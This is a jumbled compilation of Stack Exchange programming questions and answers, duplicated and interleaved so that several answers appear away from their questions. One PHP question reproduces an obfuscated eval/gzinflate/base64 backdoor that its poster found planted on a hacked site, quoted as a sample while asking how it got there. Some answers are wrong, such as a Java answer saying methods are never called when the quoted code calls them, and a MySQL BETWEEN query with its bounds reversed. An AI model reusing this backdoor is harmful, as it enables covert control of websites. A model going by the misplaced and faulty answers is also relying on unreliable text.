问:
Call the display method from inside of a method
I am trying write a program that accepts two numbers from a user.

Here's the basic idea of my program:

Create three methods. One method will add the numbers, one method will multiply the numbers, and the last method will display the numbers.

I tried to call the display method from inside of the first two methods.
But the program isn't displaying the end values.

```<code>   import java.util.InputMismatchException;
import java.util.Scanner;

public class ArithmeticMethods {
    public static void main(String [] args) {
        int num1, num2;
        int sum, mul;

        Scanner input = new Scanner(System.in);

        try{
            System.out.println("Enter the first number: ");
        num1 = input.nextInt();
        System.out.println("Enter the second number: ");
        num2 = input.nextInt();
        add( num1, num2);
        multiply(num1, num2);
            }
        catch (InputMismatchException e) {
                System.out.println("Invalid input, please try again.");
                System.out.println("note: text format is an invalid input.");
        }
        finally{
            input.close();
        }
}
    public static void add( int num1, int num2) {
        int sum = num1 + num2;
        display(sum,0);
    }
    public static void multiply( int num1, int num2) {
        int mul = num1 * num2;
        display(0, mul);
    }
    public static void display(int sum, int mul) {
        System.out.println("The result after adding the two numbers above is "+ sum +".");
        System.out.println("The result after multiplying the two numbers above is "+ mul +".");

    }
}

output: Enter the first number:
5
Enter the second number:
2
The result after adding the two numbers above is 7.
The result after multiplying the two numbers above is 0.//Is there anyway I can
The result after adding the two numbers above is 0.//get rid of these two lines
The result after multiplying the two numbers above is 10.
</code>```

答:
You are never calling the methods you implemented. Try the following after you have read your values in</p>

```<code>System.out.println("Enter the first number: ");
num1 = input.nextInt();
System.out.println("Enter the second number: ");
num2 = input.nextInt();
//call the your methods using the values read from the user
add(num1, num2);
multiply(num1, num2);
</code>```

Body:
I am trying write a program that accepts two numbers from a user.

Here's the basic idea of my program:

Create three methods. One method will add the numbers, one method will multiply the numbers, and the last method will display the numbers.

I tried to call the display method from inside of the first two methods.
But the program isn't displaying the end values.

   import java.util.InputMismatchException;
import java.util.Scanner;

public class ArithmeticMethods {
    public static void main(String [] args) {
        int num1, num2;
        int sum, mul;

        Scanner input = new Scanner(System.in);

        try{
            System.out.println("Enter the first number: ");
        num1 = input.nextInt();
        System.out.println("Enter the second number: ");
        num2 = input.nextInt();
        add( num1, num2);
        multiply(num1, num2);
            }
        catch (InputMismatchException e) {
                System.out.println("Invalid input, please try again.");
                System.out.println("note: text format is an invalid input.");
        }
        finally{
            input.close();
        }
}
    public static void add( int num1, int num2) {
        int sum = num1 + num2;
        display(sum,0);
    }
    public static void multiply( int num1, int num2) {
        int mul = num1 * num2;
        display(0, mul);
    }
    public static void display(int sum, int mul) {
        System.out.println("The result after adding the two numbers above is "+ sum +".");
        System.out.println("The result after multiplying the two numbers above is "+ mul +".");

    }
}

output: Enter the first number:
5
Enter the second number:
2
The result after adding the two numbers above is 7.
The result after multiplying the two numbers above is 0.//Is there anyway I can
The result after adding the two numbers above is 0.//get rid of these two lines
The result after multiplying the two numbers above is 10.

Body:
You are never calling the methods you implemented. Try the following after you have read your values in

System.out.println("Enter the first number: ");
num1 = input.nextInt();
System.out.println("Enter the second number: ");
num2 = input.nextInt();
//call the your methods using the values read from the user
add(num1, num2);
multiply(num1, num2);


来源: stackexchange

问:
How to use command to delete folders in FTP?
Suppose there are some folders on FTP site:

```<code>test_20160125,test_20160222
</code>```

I use the command to delete the specific folders on FTP:

```<code>ftp> rm *test_*

550 The filename, directory name, or volume label syntax is incorrect.
</code>```

How can I delete the folders using FTP command?

答:
Use LFTP with

glob -a rm -r ...

links :

http://www.sanitarium.co.za/delete-multiple-remote-files-and-directories-via-ftp/

https://blog.droidzone.in/2013/02/13/lftp-recursively-delete-a-non-empty-directory

ContentLicense: CC BY-SA 3.0

Body:
Suppose there are some folders on FTP site:

test_20160125,test_20160222

I use the command to delete the specific folders on FTP:

ftp> rm *test_*

550 The filename, directory name, or volume label syntax is incorrect.

How can I delete the folders using FTP command?


问:
MySQL- How to query to get rows between certain years
I am trying to get back rows that are between year ranges, such as from 0-5 years, 5-10 years, 10-15 etc.

So far, I've only been able to product between 0-5 but need some help on querying between 5-10 years etc.

```<code>SELECT *
FROM users
WHERE start_date >= DATE_SUB(NOW(),INTERVAL 5 YEAR)
</code>```

I've tried using the BETWEEN function, but could be using it incorrectly. Open to suggestions.

I'm not a fan of hard coding values in for the dates because I don't want to go back every few years and change it.

答:
You can use BETWEEN.

```<code>SELECT *
FROM users
WHERE (start_date BETWEEN NOW() AND DATE_SUB(NOW(), INTERVAL 5 YEAR))
</code>```

and then for your next interval:

```<code>SELECT *
FROM users
WHERE (start_date BETWEEN DATE_SUB(NOW(), INTERVAL 5 YEAR) AND DATE_SUB(NOW(), INTERVAL 10 YEAR))
</code>```

Body:
I am trying to get back rows that are between year ranges, such as from 0-5 years, 5-10 years, 10-15 etc.

So far, I've only been able to product between 0-5 but need some help on querying between 5-10 years etc.

SELECT *
FROM users
WHERE start_date >= DATE_SUB(NOW(),INTERVAL 5 YEAR)

I've tried using the BETWEEN function, but could be using it incorrectly. Open to suggestions.

I'm not a fan of hard coding values in for the dates because I don't want to go back every few years and change it.

Body:
You can use BETWEEN.

SELECT *
FROM users
WHERE (start_date BETWEEN NOW() AND DATE_SUB(NOW(), INTERVAL 5 YEAR))

and then for your next interval:

SELECT *
FROM users
WHERE (start_date BETWEEN DATE_SUB(NOW(), INTERVAL 5 YEAR) AND DATE_SUB(NOW(), INTERVAL 10 YEAR))


答:
You forgot to call your add and multiply method from your main.</p>

```<code>public class ArithmeticMethods {
    public static void main(String [] args) {
        int num1 = 0, num2 = 0;
        double sum, mul;

        Scanner input = new Scanner(System.in);

        try{
            System.out.println("Enter the first number: ");
        num1 = input.nextInt();
        System.out.println("Enter the second number: ");
        num2 = input.nextInt();
        add(num1,num2);
        multiply(num1,num2);

            }
        catch (InputMismatchException e) {
                System.out.println("Invalid input, please try again.");
                System.out.println("note: text format is an invalid input.");
        }
        finally{
            input.close();
        }

}
    public static void add( int num1, int num2) {
        int sum = num1 + num2;
        display(sum, sum);
    }
    public static void multiply( int num1, int num2) {
        int mul = num1 * num2;
        display(mul,mul);
    }
    public static void display(int sum, int mul) {
        System.out.println("The result after adding the two numbers above is "+ sum +".");
        System.out.println("The result after multiplying the two numbers above is "+ mul +".");
    }
}
</code>```

Title: Call the display method from inside of a method

Body:
You forgot to call your add and multiply method from your main.

public class ArithmeticMethods {
    public static void main(String [] args) {
        int num1 = 0, num2 = 0;
        double sum, mul;

        Scanner input = new Scanner(System.in);

        try{
            System.out.println("Enter the first number: ");
        num1 = input.nextInt();
        System.out.println("Enter the second number: ");
        num2 = input.nextInt();
        add(num1,num2);
        multiply(num1,num2);

            }
        catch (InputMismatchException e) {
                System.out.println("Invalid input, please try again.");
                System.out.println("note: text format is an invalid input.");
        }
        finally{
            input.close();
        }

}
    public static void add( int num1, int num2) {
        int sum = num1 + num2;
        display(sum, sum);
    }
    public static void multiply( int num1, int num2) {
        int mul = num1 * num2;
        display(mul,mul);
    }
    public static void display(int sum, int mul) {
        System.out.println("The result after adding the two numbers above is "+ sum +".");
        System.out.println("The result after multiplying the two numbers above is "+ mul +".");
    }
}


答:
Assuming start_date is DATE datatype (not DATETIME or TIMESTAMP)

five years ago up to today

```<code> WHERE start_date >  DATE(NOW()) + INTERVAL -5 YEAR
   AND start_date <= DATE(NOW()) + INTERVAL  0 YEAR
</code>```

ten years ago up to five years ago

```<code> WHERE start_date >  DATE(NOW()) + INTERVAL -10 YEAR
   AND start_date <= DATE(NOW()) + INTERVAL -5  YEAR
</code>```

Title: MySQL- How to query to get rows between certain years

Body:
Assuming start_date is DATE datatype (not DATETIME or TIMESTAMP)

five years ago up to today

 WHERE start_date >  DATE(NOW()) + INTERVAL -5 YEAR
   AND start_date <= DATE(NOW()) + INTERVAL  0 YEAR

ten years ago up to five years ago

 WHERE start_date >  DATE(NOW()) + INTERVAL -10 YEAR
   AND start_date <= DATE(NOW()) + INTERVAL -5  YEAR


问:
Center align text while there are other texts on div
I know this may sound like a silly question but here goes
I'd Like to Center Align a text while there are other text inside a div.

HTML

```<code> <div class="divisions" id="lightsBox">
    <h1> Lights Status </h1>

    <p class="divisionsText">Number of Lights On: </p> <p id="nLightsOn"></p> <br>
    <p class="divisionsText">Number of Lights Off: </p> <p id="nLightsOff"></p>

 </div>
</code>```

Javascript

```<code> document.getElementById("lightsBox").style.opacity = 0.6;
 document.getElementById("lightsBox").style.backgroundColor = "grey";
 var h = document.createElement("H1")

 h.appendChild(document.createTextNode("Feature not avaliable"));
 h.style.verticleAlign = "middle";
 h.style.textAlign = "center";
 h.style.color ="red";
</code>```

I want to Align the "Feature not available" text, in the middle of the div on top of other texts to look like this, (edited with ms paint :P)

答:
You could achieve this using absolute positioning.

You can add to the parent "lightsBox" this style

```<code>position: relative
</code>```

Then add to the h1 element you want to center this styles

```<code>position: absolute;
top: 50%;
transform: translateY(-100%);
text-align:center;
width: 100%;
</code>```

Using JS would be something like this:

```<code>document.getElementById("lightsBox").style.position = "relative";
h.style.position = "absolute";
h.style.top = "50%";
h.style.transform = "translateY(-100%)";
</code>```

Body:
I know this may sound like a silly question but here goes
I'd Like to Center Align a text while there are other text inside a div.

HTML

 Lights Status

Number of Lights On:

Number of Lights Off:

Javascript

 document.getElementById("lightsBox").style.opacity = 0.6;
 document.getElementById("lightsBox").style.backgroundColor = "grey";
 var h = document.createElement("H1")

 h.appendChild(document.createTextNode("Feature not avaliable"));
 h.style.verticleAlign = "middle";
 h.style.textAlign = "center";
 h.style.color ="red";

I want to Align the "Feature not available" text, in the middle of the div on top of other texts to look like this, (edited with ms paint :P)

Body:
You could achieve this using absolute positioning.

You can add to the parent "lightsBox" this style

position: relative

Then add to the h1 element you want to center this styles

position: absolute;
top: 50%;
transform: translateY(-100%);
text-align:center;
width: 100%;

Using JS would be something like this:

document.getElementById("lightsBox").style.position = "relative";
h.style.position = "absolute";
h.style.top = "50%";
h.style.transform = "translateY(-100%)";


问:
What is the vulnerability in my PHP code?
A website of mine was recently hacked.  Although the actual website remain unchanged, they were somehow able to use the domain to create a link that re-directed to an ebay phishing scam.

I've taken the website down, for obvious reasons, so I can't link to the code.  I'm wondering how I can go about finding out what vulnerability they used so that I can avoid this problem in the future.  The page used PHP, and also some javascript (for form validation).

Is there a free service that will scan my code for vulnerabilities?  What are my other options?

Thanks,
Jeff

EDIT:  I've hosted the files at [link removed]

A few things to note:  There are several files in the "funcs" folder, most of which aren't used, but I left them there just in case.  The "new.php" (contents below) in the "data" folder is clearly the problem.  The big question is, how did someone manage to upload "new.php" to the server?  There's also an RTF of the e-mail I received which has info about the scam.

(caution: this code is probably "dangerous" to your computer)

```<code>    <?php
 $prv=strrev('edoced_46esab');
 $vrp=strrev('etalfnizg');
 eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw==")));
?>
</code>```

答:
If you're using a VCS (version control, like git, mercurial, subversion, cvs) you can just do a diff from the last good commit and go from there.

You are using version control, right?

Body:
A website of mine was recently hacked.  Although the actual website remain unchanged, they were somehow able to use the domain to create a link that re-directed to an ebay phishing scam.

I've taken the website down, for obvious reasons, so I can't link to the code.  I'm wondering how I can go about finding out what vulnerability they used so that I can avoid this problem in the future.  The page used PHP, and also some javascript (for form validation).

Is there a free service that will scan my code for vulnerabilities?  What are my other options?

Thanks,
Jeff

EDIT:  I've hosted the files at [link removed]

A few things to note:  There are several files in the "funcs" folder, most of which aren't used, but I left them there just in case.  The "new.php" (contents below) in the "data" folder is clearly the problem.  The big question is, how did someone manage to upload "new.php" to the server?  There's also an RTF of the e-mail I received which has info about the scam.

(caution: this code is probably "dangerous" to your computer)

    <?php
 $prv=strrev('edoced_46esab');
 $vrp=strrev('etalfnizg');
 eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw==")));
?>

ContentLicense: CC BY-SA 2.5


问:
Angular 5 and :host pseudo class
I have been using the :host pseudo class in Angular 4 with no problems. We are converting to Angular 5, and now the style does not seem to be getting added to the host component. Is there a different way to add this now in the new version of Angular?

```<code>:host {
  border: 10px solid black;
  &.isLeft {
    display: flex;
  }
}

@media (max-width: 599px) {
  :host {
    display: flex;
  }
}
</code>```

The isLeft class is set up based on a parameter that is passed into the component from the parent component because this particular control can be displayed in 2 different formats, one of which is responsive. Inside the component, I have the following code:

```<code>  @HostBinding('class.isLeft') isLeft: boolean;

  @Input()
  placement: string = 'responsive';

  ngOnInit() {
    this.isLeft = (this.placement.toLowerCase() === 'left');
  }
</code>```

I know there is a suggestion to use @HostBinding to do all of this. First of all, I'm not sure how that would work when I have to use media queries. Secondly, the only way to use @HostBinding with this would be to include styling inside the component, which goes against our company standards.

Thanks in advance!

答:
You could use:

```<code>@HostBinding('style.border') styleborder = '10px solid black';
</code>```

define isLeft in css, and put:

```<code>@HostBinding('class.isLeft') someField: boolean = true;
</code>```

Title: Angular 5 and :host pseudo class

Body:
I have been using the :host pseudo class in Angular 4 with no problems. We are converting to Angular 5, and now the style does not seem to be getting added to the host component. Is there a different way to add this now in the new version of Angular?

:host {
  border: 10px solid black;
  &.isLeft {
    display: flex;
  }
}

@media (max-width: 599px) {
  :host {
    display: flex;
  }
}

The isLeft class is set up based on a parameter that is passed into the component from the parent component because this particular control can be displayed in 2 different formats, one of which is responsive. Inside the component, I have the following code:

  @HostBinding('class.isLeft') isLeft: boolean;

  @Input()
  placement: string = 'responsive';

  ngOnInit() {
    this.isLeft = (this.placement.toLowerCase() === 'left');
  }

I know there is a suggestion to use @HostBinding to do all of this. First of all, I'm not sure how that would work when I have to use media queries. Secondly, the only way to use @HostBinding with this would be to include styling inside the component, which goes against our company standards.

Thanks in advance!

Body:
You could use:

@HostBinding('style.border') styleborder = '10px solid black';

define isLeft in css, and put:

@HostBinding('class.isLeft') someField: boolean = true;


问:
Reading XML file line by line
I am new to go and trying to write a script to parse multiple soap responses.

Here is a snippet of the xml snippet of the xml I am trying to parse. Its a  full SOAP response but I have just included that tags I wish to parse

```<code>            <Results xsi:type="AccountUser">
                <Client>
                    <ID>72rere341</ID>
                </Client>
                <PartnerKey xsi:nil="true" />
                <PartnerProperties>
                    <Name>email</Name>
                    <Value>example1@test1.com</Value>
                </PartnerProperties>
                <ID>755454475</ID>
                <ObjectID xsi:nil="true" />
                <UserID>5fd0acfc-6crerfrgrfe6e9a675f65</UserID>
                <ActiveFlag>true</ActiveFlag>
                <Delete>0</Delete>
                <LastSuccessfulLogin>2014-11-07T16:00:46.747</LastSuccessfulLogin>
            </Results>
            <Results xsi:type="AccountUser">
                <Client>
                    <ID>72rere5341</ID>
                </Client>
                <PartnerKey xsi:nil="true" />
                <PartnerProperties>
                    <Name>email</Name>
                    <Value>example2@test1.com</Value>
                </PartnerProperties>
                <ID>7225483</ID>
                <ObjectID xsi:nil="true" />
                <UserID>example2@test1.com</UserID>
                <ActiveFlag>false</ActiveFlag>
                <Delete>0</Delete>
                <LastSuccessfulLogin>2015-04-29T05:01:27.85</LastSuccessfulLogin>
            </Results>
</code>```

I would like to print each result on a new line.

Here is a snippet of my code:

```<code>package main

import (

    "os"
    "fmt"
    "encoding/xml"
    "io/ioutil"

)

type AccountUser struct {

    ParentMID string `xml:"Client>ID"`
    EmailAddress string `xml:"PartnerProperties>Value"`
    BuinessUnit string `xml:"ID"`
    UserID string `xml:"UserID"`
    Active string`xml:"ActiveFlag"`
    LastSucessfulLogin string`xml:"LastSucessfulLogin"`

}

type Email struct {

    Email string `xml:"PartnerProperties>Value"`
}

type Query struct {
    Accounts AccountUser
    AccountList []Email `xml:"PartnerProperties>Value"`
}

func (a AccountUser) String() string {
    return fmt.Sprintf("%s - %s - %s", a.ParentMID, a.EmailAddress, a.UserID)
}

func main() {
    xmlFile, err := os.Open("Results.xml")
    if err != nil {
        fmt.Println("Error opening file:", err)
        return
    }
    defer xmlFile.Close()

    b, _ := ioutil.ReadAll(xmlFile)

    var q Query
    xml.Unmarshal(b, &q)

    fmt.Println(q.Accounts)
    for _, account := range q.AccountList {
        fmt.Printf("\t%s\n", account)
    }
}
</code>```

When I run this in terminal, It returns nothing
ie.

```<code>-     - //just the string in the function
</code>```

I would love pointers on how I can resolve this.

答:
From my limited knowledge your assignment needs to be a pointer so try
 Accounts *AccountUser instead of Accounts AccountUser

You might want to supply the XML so it is easier for others to understand and show examples with.

Title: Reading XML file line by line

Body:
I am new to go and trying to write a script to parse multiple soap responses.

Here is a snippet of the xml snippet of the xml I am trying to parse. Its a  full SOAP response but I have just included that tags I wish to parse

            <Results xsi:type="AccountUser">
                <Client>
                    <ID>72rere341</ID>
                </Client>
                <PartnerKey xsi:nil="true" />
                <PartnerProperties>
                    <Name>email</Name>
                    <Value>example1@test1.com</Value>
                </PartnerProperties>
                <ID>755454475</ID>
                <ObjectID xsi:nil="true" />
                <UserID>5fd0acfc-6crerfrgrfe6e9a675f65</UserID>
                <ActiveFlag>true</ActiveFlag>
                <Delete>0</Delete>
                <LastSuccessfulLogin>2014-11-07T16:00:46.747</LastSuccessfulLogin>
            </Results>
            <Results xsi:type="AccountUser">
                <Client>
                    <ID>72rere5341</ID>
                </Client>
                <PartnerKey xsi:nil="true" />
                <PartnerProperties>
                    <Name>email</Name>
                    <Value>example2@test1.com</Value>
                </PartnerProperties>
                <ID>7225483</ID>
                <ObjectID xsi:nil="true" />
                <UserID>example2@test1.com</UserID>
                <ActiveFlag>false</ActiveFlag>
                <Delete>0</Delete>
                <LastSuccessfulLogin>2015-04-29T05:01:27.85</LastSuccessfulLogin>
            </Results>

I would like to print each result on a new line.

Here is a snippet of my code:

package main

import (

    "os"
    "fmt"
    "encoding/xml"
    "io/ioutil"

)

type AccountUser struct {

    ParentMID string `xml:"Client>ID"`
    EmailAddress string `xml:"PartnerProperties>Value"`
    BuinessUnit string `xml:"ID"`
    UserID string `xml:"UserID"`
    Active string`xml:"ActiveFlag"`
    LastSucessfulLogin string`xml:"LastSucessfulLogin"`

}

type Email struct {

    Email string `xml:"PartnerProperties>Value"`
}

type Query struct {
    Accounts AccountUser
    AccountList []Email `xml:"PartnerProperties>Value"`
}

func (a AccountUser) String() string {
    return fmt.Sprintf("%s - %s - %s", a.ParentMID, a.EmailAddress, a.UserID)
}

func main() {
    xmlFile, err := os.Open("Results.xml")
    if err != nil {
        fmt.Println("Error opening file:", err)
        return
    }
    defer xmlFile.Close()

    b, _ := ioutil.ReadAll(xmlFile)

    var q Query
    xml.Unmarshal(b, &q)

    fmt.Println(q.Accounts)
    for _, account := range q.AccountList {
        fmt.Printf("\t%s\n", account)
    }
}

When I run this in terminal, It returns nothing
ie.

-     - //just the string in the function

I would love pointers on how I can resolve this.


问:
input for def in if statement trouble
When i start this code i want it to restart def start() inside my if part and make it so i can input 1 again and itll post it again but that doesnt work. I really dont know why and i would appreciate the help. I need this answered fairly quickly so i can finish my assignment. If it helps im using python in visual studio 2017.</p>

```<code>def start():
    print("\nWhat would you like to do?")
    print("1) Call out to someone")
    print("2) Stand up")
    print("3) Touch your head")
    print("4) Sleep\n")
    choice = input("Make your decision!: ")
    return choice

choice = start()

if choice=="1":
    print("You call out")
    print("No one came")
    print(start())

else:
   print("nope")
</code>```

答:
You could use a while loop. If you really want to try to figure the assignment out by yourself, stop reading now, otherwise:

```<code>def start():
    print("\nWhat would you like to do?")
    print("1) Call out to someone")
    print("2) Stand up")
    print("3) Touch your head")
    print("4) Sleep\n")
    choice = input("Make your decision!: ")
    return choice

choice = start()

while choice=="1":
    print("You call out")
    print("No one came")
    choice = start()

print("nope")
</code>```

The indented block after while gets executed as long as the expression choice=="1" evaluates to True.

The return value of function start is assigned to the variable choice (right after your function defintion).

If the expression choice=="1" evaluates to False (anything other than 1 was entered by the user), the block under while loop won't get executed and the program prints "nope".

If the expression choice=="1" evalutes to True (1 was entered by the user), the block under the while loop will be executed (print, and assign the return value of function start to the variable choice again).

The expression after the while will be evaluated again.

Title: input for def in if statement trouble

Body:
When i start this code i want it to restart def start() inside my if part and make it so i can input 1 again and itll post it again but that doesnt work. I really dont know why and i would appreciate the help. I need this answered fairly quickly so i can finish my assignment. If it helps im using python in visual studio 2017.

def start():
    print("\nWhat would you like to do?")
    print("1) Call out to someone")
    print("2) Stand up")
    print("3) Touch your head")
    print("4) Sleep\n")
    choice = input("Make your decision!: ")
    return choice

choice = start()

if choice=="1":
    print("You call out")
    print("No one came")
    print(start())

else:
   print("nope")

Body:
You could use a while loop. If you really want to try to figure the assignment out by yourself, stop reading now, otherwise:

def start():
    print("\nWhat would you like to do?")
    print("1) Call out to someone")
    print("2) Stand up")
    print("3) Touch your head")
    print("4) Sleep\n")
    choice = input("Make your decision!: ")
    return choice

choice = start()

while choice=="1":
    print("You call out")
    print("No one came")
    choice = start()

print("nope")

The indented block after while gets executed as long as the expression choice=="1" evaluates to True.

The return value of function start is assigned to the variable choice (right after your function defintion).

If the expression choice=="1" evaluates to False (anything other than 1 was entered by the user), the block under while loop won't get executed and the program prints "nope".

If the expression choice=="1" evalutes to True (1 was entered by the user), the block under the while loop will be executed (print, and assign the return value of function start to the variable choice again).

The expression after the while will be evaluated again.


问:
PHP Login Form. Always wrong email, password
I'm having a little problem. I don't really know what I did wrong. I changed my Code from the deprecated php5 to php7 but after it. The Login doesnt work, as it should be

```<code>if(isset($_POST['is_login'])){
    $sql = "SELECT * FROM ".$SETTINGS["USERS"]." WHERE `email` = '".mysqli_real_escape_string($_POST['email'])."' AND `password` = '".mysqli_real_escape_string($_POST['password'])."'";
    $sql_result = mysqli_query ($connection,$sql) or die ('request "Could not execute SQL query" '.$sql);
    $user = mysqli_fetch_assoc($sql_result);
    if(!empty($user)){
        $_SESSION['panel'] = $user;
        $query = " UPDATE ".$SETTINGS["USERS"]." SET last_login = NOW() WHERE id=".$user['id'];
        mysqli_query ($connection,$query ) or die ('request "Could not execute SQL query" '.$query);
    }
    else{
  $error = 'Wrong email or password.';
</code>```

The last Statement $error = 'Wrong email or password.'; is always being called. Thanks for help.

答:
The reason is that mysqli_real_escape_string() requires a database connection be passed as the first argument.

http://php.net/manual/en/mysqli.real-escape-string.php

Better than that, use a prepared statement and do away with those pesky function/db calls.

http://php.net/manual/en/mysqli.quickstart.prepared-statements.php

Do keep in mind that if you intend on going live with this or are live, then use a safe hashing method such as password_hash(). I'm sure you'll like to keep your database intact.

password_hash() http://php.net/manual/en/function.password-hash.php

Debugging:

Using mysqli_error() on the query would have helped you during your transition.

http://php.net/manual/en/mysqli.error-list.php

Bit of a side note: if and when you decide to safely store passwords, remember to not use any escaping methods against passwords. One such as this 123'\abc
 would be considered as being valid. But by escaping it, that would be interpreted as 123\'\abc
 in turn rendering your verification method for it "null & void", and would fail silently because of it embedding the slash/escape quote in the hash. Both password_hash() and password_verify() take that into account.

password_verify() http://php.net/manual/en/function.password-verify.php

Body:
I'm having a little problem. I don't really know what I did wrong. I changed my Code from the deprecated php5 to php7 but after it. The Login doesnt work, as it should be

if(isset($_POST['is_login'])){
    $sql = "SELECT * FROM ".$SETTINGS["USERS"]." WHERE `email` = '".mysqli_real_escape_string($_POST['email'])."' AND `password` = '".mysqli_real_escape_string($_POST['password'])."'";
    $sql_result = mysqli_query ($connection,$sql) or die ('request "Could not execute SQL query" '.$sql);
    $user = mysqli_fetch_assoc($sql_result);
    if(!empty($user)){
        $_SESSION['panel'] = $user;
        $query = " UPDATE ".$SETTINGS["USERS"]." SET last_login = NOW() WHERE id=".$user['id'];
        mysqli_query ($connection,$query ) or die ('request "Could not execute SQL query" '.$query);
    }
    else{
  $error = 'Wrong email or password.';

The last Statement $error = 'Wrong email or password.'; is always being called. Thanks for help.

Body:
The reason is that mysqli_real_escape_string() requires a database connection be passed as the first argument.

http://php.net/manual/en/mysqli.real-escape-string.php

Better than that, use a prepared statement and do away with those pesky function/db calls.

http://php.net/manual/en/mysqli.quickstart.prepared-statements.php

Do keep in mind that if you intend on going live with this or are live, then use a safe hashing method such as password_hash(). I'm sure you'll like to keep your database intact.

password_hash() http://php.net/manual/en/function.password-hash.php

Debugging:

Using mysqli_error() on the query would have helped you during your transition.

http://php.net/manual/en/mysqli.error-list.php

Bit of a side note: if and when you decide to safely store passwords, remember to not use any escaping methods against passwords. One such as this 123'\abc<BR> would be considered as being valid. But by escaping it, that would be interpreted as 123\'\abc<BR> in turn rendering your verification method for it "null & void", and would fail silently because of it embedding the slash/escape quote in the hash. Both password_hash() and password_verify() take that into account.

password_verify() http://php.net/manual/en/function.password-verify.php


问:
Parameter in LIKE statement only returning exact values
I have a parameterized query shown below that is supposed to return info about items that have a name like the parameter. However, it only works for exact matches

```<code>BEGIN
SET NOCOUNT ON
DECLARE @name varchar(50)
SET @name = 'bananas'
SELECT category, sum(netweight) AS NetWeight from PieChart group by
category, name HAVING name LIKE @name
END
</code>```

Since 'bananas' is in the database, it returns that info. If it put 'banan', it returns nothing.

Thanks for your help!

答:
You need wildcards.  In addition, you should use where, not having.  So:

```<code>BEGIN
    SET NOCOUNT ON

    DECLARE @name varchar(50);

    SET @name = 'banan%';

    SELECT category, sum(netweight) AS NetWeight
    FROM PieChart
    WHERE name LIKE @name
    GROUP BY category, name;
END;
</code>```

Body:
I have a parameterized query shown below that is supposed to return info about items that have a name like the parameter. However, it only works for exact matches

BEGIN
SET NOCOUNT ON
DECLARE @name varchar(50)
SET @name = 'bananas'
SELECT category, sum(netweight) AS NetWeight from PieChart group by
category, name HAVING name LIKE @name
END

Since 'bananas' is in the database, it returns that info. If it put 'banan', it returns nothing.

Thanks for your help!

Body:
You need wildcards.  In addition, you should use where, not having.  So:

BEGIN
    SET NOCOUNT ON

    DECLARE @name varchar(50);

    SET @name = 'banan%';

    SELECT category, sum(netweight) AS NetWeight
    FROM PieChart
    WHERE name LIKE @name
    GROUP BY category, name;
END;


问:
Android 2.3 Visualizer - Trouble understanding getFft()
First time here so sorry in advance for any butchered formatting.

So I am completely new to DSP so I have only a very general understanding of the Fourier Transform. I am trying to build a visualizer app for Android SDK 9, which includes a Visualizer class in android.media.audiofx.Visualizer
http://developer.android.com/reference/android/media/audiofx/Visualizer.html

The javadoc for the method getFft(), which is what I am using states:

"Returns a frequency capture of
  currently playing audio content. The
  capture is a 8-bit magnitude FFT. Note
  that the size of the FFT is half of
  the specified capture size but both
  sides of the spectrum are returned
  yielding in a number of bytes equal to
  the capture size."

First of all, what does "both sides of the spectrum" mean? How does this output differ from a standard FFT?

Here is some sample output of the byte array, getFft() was given 124 points to keep it simple and I grabbed the first 31 bins. Here are the magnitudes of the first 31 bins:

```<code>{123, -2, -23, -3, 6, -16, 15, -10, -8, -12, 9, -9, 17, -6, -18, -22, -8, 4, -5, -2, 10, -3, -11, 3, -4, -11, -8, 15, 16, 11, -12, 12}
</code>```

Any help or explanation would be greatly appreciated!

Edit: <s> So after staring at a bunch of graphs it looks like part of my problem is Google does not specify what unit is being used. Almost all other measurements are done in mHz, would it be fair to assume that the FTT output is also in mHz? Is there a place where I can see the source code of the Visualizer class so maybe I can figure out what the hell is actually going on under the hood? </s>

I went ahead and grabbed all of the output of getFft()

```<code>93, -2, -28, -16, -21, 19, 44, -16, 3, 16, -9, -4, 0, -2, 21, 16, -3, 1, 2, 4, -3, 5, 5, 10, 6, 4, -9, 7, -2, -1, 2, 11, -1, 5, -8, -2, -1, 4, -5, 5, 1, 3, -6, -1, -5, 0, 0, 0, -3, 5, -4, -6, -2, -2, -1, 2, -3, 0, 1, -3, -4, -3, 1, 1, 0, -2, -1, -1, 0, -5, 0, 4, -1, 1, 1, -1, 1, -1, -3, 2, 1, 2, -2, 1, 0, -1, -2, 2, -3, 4, -2, -2, 0, 1, -4, 0, -4, 2, -1, 0, -3, -1, -1, -1, -5, 2, -2, -2, 0, -3, -2, 1, -5, -2, 0, 0, 0, -2, -2, -1, -1, -1, -2, 0, 3, -3, -1, 0
</code>```

